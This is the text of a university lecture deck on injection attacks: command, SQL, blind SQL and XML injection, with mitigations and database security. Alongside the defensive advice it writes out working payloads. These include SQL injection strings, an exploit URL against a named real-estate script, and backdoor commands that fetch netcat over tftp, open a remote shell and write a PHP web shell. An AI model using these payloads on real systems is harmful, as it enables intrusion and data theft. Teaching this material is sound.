1 / 44

CIT 485: Advanced Cybersecurity

CIT 485: Advanced Cybersecurity. Injection. Topics. Injection Attacks Command Injection SQL Injection Inference Attacks (Blind SQL Injection) Mitigating SQL Injection Database Security XML Injection. Injection.

mnoble
Download Presentation

CIT 485: Advanced Cybersecurity

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. CIT 485: Advanced Cybersecurity Injection

  2. Topics • Injection Attacks • Command Injection • SQL Injection • Inference Attacks (Blind SQL Injection) • Mitigating SQL Injection • Database Security • XML Injection

  3. Injection • Injection attacks trick an application into including unintended commands in the data send to an interpreter. • Interpreters • Interpret strings as commands. • Ex: SQL, command shell, LDAP, XPath, XML, JSON • Key Idea • Input data from the application is executed as code by the interpreter.

  4. Command Injection Find program that invokes a subshell command with user input UNIX C: system(), popen(), … Windows C: CreateProcess(), ShellExecute() Java: java.lang.Runtime.exec() Perl: system(), ``, open() Use shell meta-characters to insert user-defined code into the command.

  5. PHP Command Injection Example <?php print("Please specify the name of the file to delete"); print("<p>"); $file=$_GET['filename']; system("rm $file"); ?>

  6. Exploiting the PHP Example Attacker Input URL http://127.0.0.1/delete.php?filename=bob.txt;id PHP Output Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data)

  7. UNIX Shell Metacharacters `command` will execute command ‘;’ separates commands ‘|’ creates a pipe between two commands ‘&&’ and ‘||’ logical operators which may execute following command ‘!’ logical negation—reverses truth value of test ‘-’ could convert filename into an argument ‘*’ and ‘?’ glob, matching files, which may be interpreted as args: what if “-rf” is file? ‘#’ comments to end of line

  8. Preventing Command Injection • Too many metacharacters + encodings to blacklist. • Best prevention option: do not use command shell • Use mkdir(“a”) instead of system(“mkdir a”) • More generally, use fork() + pcntl_exec() • Other prevention options • Escape metacharacters with escapeshellcmd() • Whitelist acceptable characters, ensuring no metacharacters are on the whitelist.

  9. SQL Injection Attacker • App sends form to user. • Attacker submits form with SQL exploit data. • Application builds string with exploit data. • Application sends SQL query to DB. • DB executes query, including exploit, sends data back to application. • Application returns data to user. User ‘ or 1=1-- Pass Firewall DB Server Web Server

  10. SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query);

  11. SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- ’ Checks if password is empty OR 1=1, which is always true, permitting access.

  12. SQL Injection #1 Components • Single Quote • Terminates the string data context. • Allows subsequent characters to be treated as SQL. • Tautology • A statement that is always true. • SQL OR statement • Used because (True OR False) = (False OR False) = True. • Ensures SQL injection #1 query always returns one row. • SQL Comment • Prevents syntax error from remaining single quote.

  13. Component: Single Quote • Any character that terminates current data context. • Single or double quotes for strings. • Open/closed parentheses for subqueries. • May be able to use Unicode equivalent characters to bypass application’s that escape quotes to prevent their use in SQL injection attacks. • This component unneeded for numeric data context.

  14. Component: Tautology and OR • Tautologies cause WHERE to be ignored so that • SQL query that could return o or 1 rows always returns one row. • SQL query returns all rows in table instead of one particular row. • Any tautology will work here • String equality: ‘a’=‘a’, ‘spam’=‘spam’, • Substrings: ‘spam’ LIKE ‘%a%’ • Inequality: 1 != 2, 1 < 2, 2 > 1, 2>= 1 • Bit operations: 1 & 1, 0 | 1, 1 ^ 0

  15. Component: SQL Comment • Databases provide multiple comment characters • Some databases like mysql use # • Many databases use matched /* and */ pair for comments. • Choice of tautology may obviate need for comment • Attacker enters this string for password: ‘ or ‘a’=‘a • The SQL injection #1 query becomes • select count(*) from users where username = ‘user’ and password = ‘’ or ‘a’=‘a’

  16. SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from tableuserswhereusernamelike ‘% -- DB executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from tableuserswhereusernamelike ‘%’ -- ’

  17. Exploits of a Mom http://www.xkcd.com/327/

  18. Finding SQL Injection Bugs • Submit a single quote as input. • If an error results, app is vulnerable. • If no error, check for any output changes. • Submit two single quotes. • Databases use ’’ to represent literal ’ • If error disappears, app is vulnerable. • Try string or numeric operators. • Oracle: ’||’FOO • MS-SQL: ‘+’FOO • MySQL: ’ ’FOO • 2-2 • 81+19 • 49-ASCII(1)

  19. Injecting into SELECT Most common SQL entry point. SELECT columns FROM table WHERE expression ORDER BY expression Places where user input is inserted: WHERE expression ORDER BY expression Table or column names

  20. UNION Combines SELECTs into one result. SELECT cols FROM table WHERE expr UNION SELECT cols2 FROM table2 WHERE expr2 Allows attacker to read any table foo’ UNION SELECT number FROM cc-- Requirements Results must have same number and type of cols. Attacker needs to know name of other table. DB returns results with column names of 1st query.

  21. UNION Finding #columns with NULL ‘ UNION SELECT NULL-- ‘ UNION SELECT NULL, NULL-- ‘ UNION SELECT NULL, NULL, NULL-- Finding #columns with ORDER BY ‘ ORDER BY 1-- ‘ ORDER BY 2-- ‘ ORDER BY 3-- Finding a string column to extract data ‘ UNION SELECT ‘a’, NULL, NULL— ‘ UNION SELECT NULL, ‘a’, NULL-- ‘ UNION SELECT NULL, NULL, ‘a’--

  22. Injecting into INSERT Creates a new data row in a table. INSERT INTO table (col1, col2, ...) VALUES (val1, val2, ...) Requirements Number of values must match # columns. Types of values must match column types. Technique: add values until no error. foo’)-- foo’, 1)-- foo’, 1, 1)--

  23. Inference Attacks for Blind SQL Injection Problem: What if app doesn’t print data? Injection can produce detectable behavior Successful or failed web page. Noticeable time delay or absence of delay. Identify an exploitable URL http://site/blog?message=5 AND 1=1 http://site/blog?message=5 AND 1=2 Use condition to identify one piece of data (SUBSTRING(SELECT TOP 1 number FROM cc), 1, 1) = 1 (SUBSTRING(SELECT TOP 1 number FROM cc), 1, 1) = 2 ... or use binary search technique ... (SUBSTRING(SELECT TOP 1 number FROM cc), 1, 1) > 5

  24. Beyond the Database: Backdoors Downloading Files (MS SQL Server) exec master..xp_cmdshell ‘tftp 192.168.1.1 GET nc.exe c:\nc.exe’ Backdoor with Netcat (MS SQL Server) exec master..xp_cmdshell ‘nc.exe -e cmd.exe -l -p 53’ Write PHP web shell backdoor (MySQL) foo’ union select “<? system($_REQUEST[‘cmd’]); ?>”,2,3 INTO OUTFILE ‘/var/www/shell.php’# Direct Backdoor w/o External Commands (Oracle) UTL_TCP.OPEN_CONNECTION( '192.168.0.1', 2222, 1521)

  25. Real Estate Site Hacking Exploit against http://phprealestatescript.com/ www.website.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*

  26. The Problem: String Building Building a SQL command string with user input in any language is dangerous. • Variable interpolation. • String concatenation with variables. • String format functions like sprintf(). • String templating with variable replacement.

  27. Mitigating SQL Injection Partially Effective Mitigations Blacklist Stored Procedures Effective Mitigations Whitelist + escaping Prepared Queries Defense in Depth: Database Security Disable features: extended procedures, file access, etc. Restrict web application database user’s permissions.

  28. Ineffective Mitigation: Blacklist Filter out known bad SQL metacharacters, such as single quotes. Problems: • Numeric parameters don’t use quotes. • URL escaped metacharacters. • Unicode encoded metacharacters. • Did you miss any metacharacters?

  29. Bypassing Blacklist Filters Different case SeLecT instead of SELECT or select Bypass keyword removal filters SELSELECTECT URL-encoding %53%45%4C%45%43%54 SQL comments SELECT/*foo*/num/*foo*/FROM/**/cc SEL/*foo*/ECT String Building ‘us’||’er’ chr(117)||chr(115)||chr(101)||chr(114)

  30. Ineffective Mitigation: Stored Procedures SQL Stored Procedures build strings too: CREATE PROCEDURE dbo.doQuery(@id nchar(128) AS DECLARE @query nchar(256) SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’ EXEC @query RETURN and they can be invoked insecurely with user input: exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’#

  31. Mitigation: Whitelist + Escaping 1. Refuse to accept input that does not match whitelist • Use regular expressions to detect valid input. • Reject input unless match. • Match as closely as possible. 2. Escape necessary metacharacters • Must allow ‘ for names like O’Brian, etc. • Escape metacharacters via mysqli_real_escape_string()or similar functions in other languages.

  32. Mitigation: Prepared Queries require_once 'MDB2.php'; $mdb2 =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } $sql = “SELECT count(*) from users where username = ? and password = ?”; $types = array('text', 'text'); $sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data);

  33. Database Security • Encrypt connections to database with TLS. • Disable unnecessary features. • Extended stored procedures, etc. • Web app must use a limited database user account. • Follow principle of least privilege. • No administrative privileges. • Limit access to tables required by application. • Limit access to read-only unless writes needed. • Use strong passwords. • Long, randomly generated. • Store in protected file, not in source code.

  34. Database User Management • User creation • Postgres: CREATE USER name WITH PASSWORD pass • MySQL: CREATE USER name@host IDENTIFIED BY pass • Account changes • ALTER USER name PASSWORD pass • User deletion • DROP USER name • User management notes • Commands differ between databases. • Users can be assigned roles (groups) to make access control easier.

  35. Database CIA • Confidentiality • Use access control to limit who can read data. • Encrypt connections to database with TLS. • Encrypt valuable data inside database. • Integrity • Use access control to limit who can modify data. • Limit which write queries can be sent by applications by using a limited user account. • Availability • Replicate database across multiple servers. • Backup data to offsite location regularly.

  36. Database Access Control • Permission granularity varies between databases • Database-level • Table-level • Column-level • Row-level • Give access to users with GRANT • GRANT SELECT,INSERT ON mytable TO user • Remove access from users with REVOKE • REVOKE INSERT ON mytable FROM user

  37. Database Encryption • Full disk encryption is not sufficient • For database to work, OS must decrypt filesystem for it. • This means SQL injection attack will see decrypted data. • For sensitive columns, like passwords, CCs, etc., use database encryption functions. • Store key in file only readable by root user. • Pass key in environment variable to webapp on start. • Mysql Encryption Example: • INSERT INTO webusers (‘myuser’, AES_ENCRYPT(‘mypassword’, ‘my_aes_key’)) • SELECT username, AES_DECRYPT(password, ‘my_aes_key’) FROM webusers;

  38. Multilevel Security • Multilevel security is a security model with levels like • Data classified by level: Confidential, Secret, Top Secret. • Users can access data at their level and lower levels. • Can be implemented in db via polyinstantiation • Multiple copies of a row with different content for each security level. • Example: Top Secret user can see real data on agent, but Confidential users can only see agent cover story data. • Non-db example: RHEL supports polyinstantiated directories so users can only see their own files in shared directories like /tmp.

  39. Database Security Key Points • Encrypt connections to database with TLS. • Encrypt valuable data within database too. • Disable unnecessary features. • Extended stored procedures, etc. • Web app must use a limited database user account. • Follow principle of least privilege. • No administrative privileges. • Limit access to tables required by application. • Limit access to read-only unless writes needed. • Use strong passwords. • Long, randomly generated. • Store in protected file, not in source code.

  40. XML Injection User registration Form http://site/adduser?username=al&password=letmein&email=al@gmail.com XML data <user> <username>al</username> <password>letmein</password> <userid>101<userid/> <mail>al@gmail.com</mail> </user>

  41. XML Injection Malicious input Username: al Password: letmein</password><userid>0</userid><!-- Email: --><mail>al@gmail.com Result <user> <username>al</username> <password>letmein</password> <userid>0</userid> <!--</password> <userid>101</userid> <mail>--> <mail>al@gmail.com</mail> </user>

  42. Key Points • Injection attacks insert attacker-controlled data, which is interpreted as code by an interpreter. • Command injection • SQL injection • JSON injection • XML injection • XPath injection • Injection attacks can be mitigated by • Avoiding the interpreter (prepared queries) • Whitelisting if it is impossible to avoid interpreter

  43. References • Andreu, Professional Penetration Testing for Web Applications, Wrox, 2006. • Daswani et. al., Foundations of Security, Apress, 2007. • Friedl, SQL Injection Attacks by Example, http://unixwiz.net/techtips/sql-injection.html, 2007. • OWASP. OWASP Top 10. https://www.owasp.org/index.php/Top_10-2017_Top_10. 2017. • Arvind Doraiswamy. Creating Backdoors Using SQL Injection. https://resources.infosecinstitute.com/backdoor-sql-injection/. 2012. • Stuttart and Pinto, The Web Application Hacker’s Handbook 2nd Edition, Wiley, 2011.

  44. Released under CC BY-SA 3.0 • All slides in this presentation unless otherwise noted are released under the Creative Commons Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0) license • You are free: • to Share — to copy and redistribute the material in any medium • to Adapt— to remix, build, and transform upon the material • to use part or all of this presentation in your own classes • Under the following conditions: • Attribution — You must attribute the work to James Walden, but cannot do so in a way that suggests that he endorses you or your use of these materials. • Share Alike — If you remix, transform, or build upon this material, you must distribute the resulting work under this or a similar open license. • Details and full text of the license can be found at https://creativecommons.org/licenses/by-nc-sa/3.0/ CIT 485: Advanced Cybersecurity

More Related